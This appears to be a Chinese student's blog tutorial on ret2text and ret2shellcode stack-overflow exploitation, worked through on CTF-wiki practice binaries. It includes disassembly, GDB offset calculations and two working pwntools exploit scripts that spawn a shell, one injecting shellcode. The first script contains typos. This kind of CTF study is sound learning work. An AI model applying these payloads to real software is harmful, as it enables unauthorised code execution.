本来在校的时候就把王爽的汇编看完了,然后也看了一点二进制的知识,想着开始学pwn的,结果又是拖了好久,这不暑假才开始,在这里特别感谢一下D1no的Dusk师傅呜呜呜。
在学习这个知识点之前要了解一些东西:
16进制的运算(虽然说这个比较简单但也是头疼)
GDB的简单使用
RET所在位置(x64是在rbp上八个字节,x86是在ebp上面四个字节)
只需要知道这几个以及一些汇编基础就可以开始啦
(这里所有的溢出都不开启保护)
原理:
ret2text 即控制程序执行程序本身已有的的代码 (即, .text
段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这里是拿wiki的题目来做的
1
2
3
4
5
6
➜ ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到有NX但是对栈溢出没什么限制然后我们反编译一下
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main ( int argc , const char ** argv , const char ** envp )
{
int v4 ; // [sp+1Ch] [bp-64h]@1
setvbuf ( stdout , 0 , 2 , 0 );
setvbuf ( _bss_start , 0 , 1 , 0 );
puts ( "There is something amazing here, do you know anything?" );
gets (( char * ) & v4 );
printf ( "Maybe I will tell you next time !" );
return 0 ;
}
这里可以看到V4的地址在rbp-0x64的位置,并且利用了gets这个函数,所以这个时候我们只需要找到存在一个后面的地方就可以进行攻击了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
. text : 080485F D secure proc near
. text : 080485F D
. text : 080485F D input = dword ptr - 10 h
. text : 080485F D secretcode = dword ptr - 0 Ch
. text : 080485F D
. text : 080485F D push ebp
. text : 080485F E mov ebp , esp
. text : 08048600 sub esp , 28 h
. text : 08048603 mov dword ptr [ esp ], 0 ; timer
. text : 0804860 A call _time
. text : 0804860F mov [ esp ], eax ; seed
. text : 08048612 call _srand
. text : 08048617 call _rand
. text : 0804861 C mov [ ebp + secretcode ], eax
. text : 0804861F lea eax , [ ebp + input ]
. text : 08048622 mov [ esp + 4 ], eax
. text : 08048626 mov dword ptr [ esp ], offset unk_8048760
. text : 0804862 D call ___isoc99_scanf
. text : 08048632 mov eax , [ ebp + input ]
. text : 08048635 cmp eax , [ ebp + secretcode ]
. text : 08048638 jnz short locret_8048646
. text : 0804863 A mov dword ptr [ esp ], offset command ; "/bin/sh"
. text : 08048641 call _system
然后可以看到地址0804863A
中有一个/bin/sh来执行命令的后门,所以我们只需要让ret跳到这个位置执行命令即可
那么现在就是要计算一下gets到ebp的相对位置
通过GDB断点调试
1
2
3
4
5
6
7
8
9
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
可以看到esp和ebp的地址以及s的地址
就可以计算出来ebp和s的相对位置
s 相对于 ebp 的偏移为 0x6c
然后再加上4字节跳到ret进行跳转即可
exp.py
1
2
3
4
5
6
from pwn import *
fi = process ( './ret2text' )
addr = 0x0804863A #要跳转的地址
playload = b 'a' * 0x6c + b 'b' * 0x04 + p32 ( addr )
fi . sendline ( playload )
fi . interacitve ()
这样子就可以进行调用sh来获取flag了
这个漏洞的使用方法和RET2TEXT一模一样,区别就在于他没有内置的后门,需要我们自己去写一个shellcode来进行getshell
可以看一下这道题
1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main ( int argc , const char ** argv , const char ** envp )
{
int v4 ; // [sp+1Ch] [bp-64h]@1
setvbuf ( stdout , 0 , 2 , 0 );
setvbuf ( stdin , 0 , 1 , 0 );
puts ( "No system for you this time !!!" );
gets (( char * ) & v4 );
strncpy ( buf2 , ( const char * ) & v4 , 0x64u );
printf ( "bye bye ~" );
return 0 ;
}
这里就做了两个关键的操作就是一个是gets一个是strncpy,他将输入的0x64个字符也就是100个字符复制到了buf2的地址上去,所以我们的思路是这样的:
首先我们还是要先计算gets到ebp的距离,其实就是v4的地址到ebp的距离,然后我们把ret覆盖掉后让他跳到buf2上去,因为我们可以把shellcode复制到buf2上去,然后进行劫持。
具体如下:(注意一下这里的.bss是有可执行权限的)
然后buf2的地址
1
2
. bss : 0804 A080 public buf2
. bss : 0804 A080 ; char buf2 [ 100 ]
可以看到是0x0804A080
然后s的位置需要GDB自己调试一下,不能直接用0x64+0x04来计算,需要看实际s相对于esp和ebp的距离再计算。这里我就不做示例了网上都有分析的
exp.py
1
2
3
4
5
6
7
from pwn import *
fi = process ( './ret2shellcode' )
addr = 0x0804A080
shellcode = asm ( shellcraft . sh ()) #制作shellcode
playload = shellcode . ljust ( 112 , b 'A' ) + p32 ( addr )
fi . sendline ( playload )
fi . interactive ()
这里的ljust方法就是将其补齐到112个字节,因为我们要到ret的地址上面所以需要补齐。
reference:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode
再次感谢Dusk师傅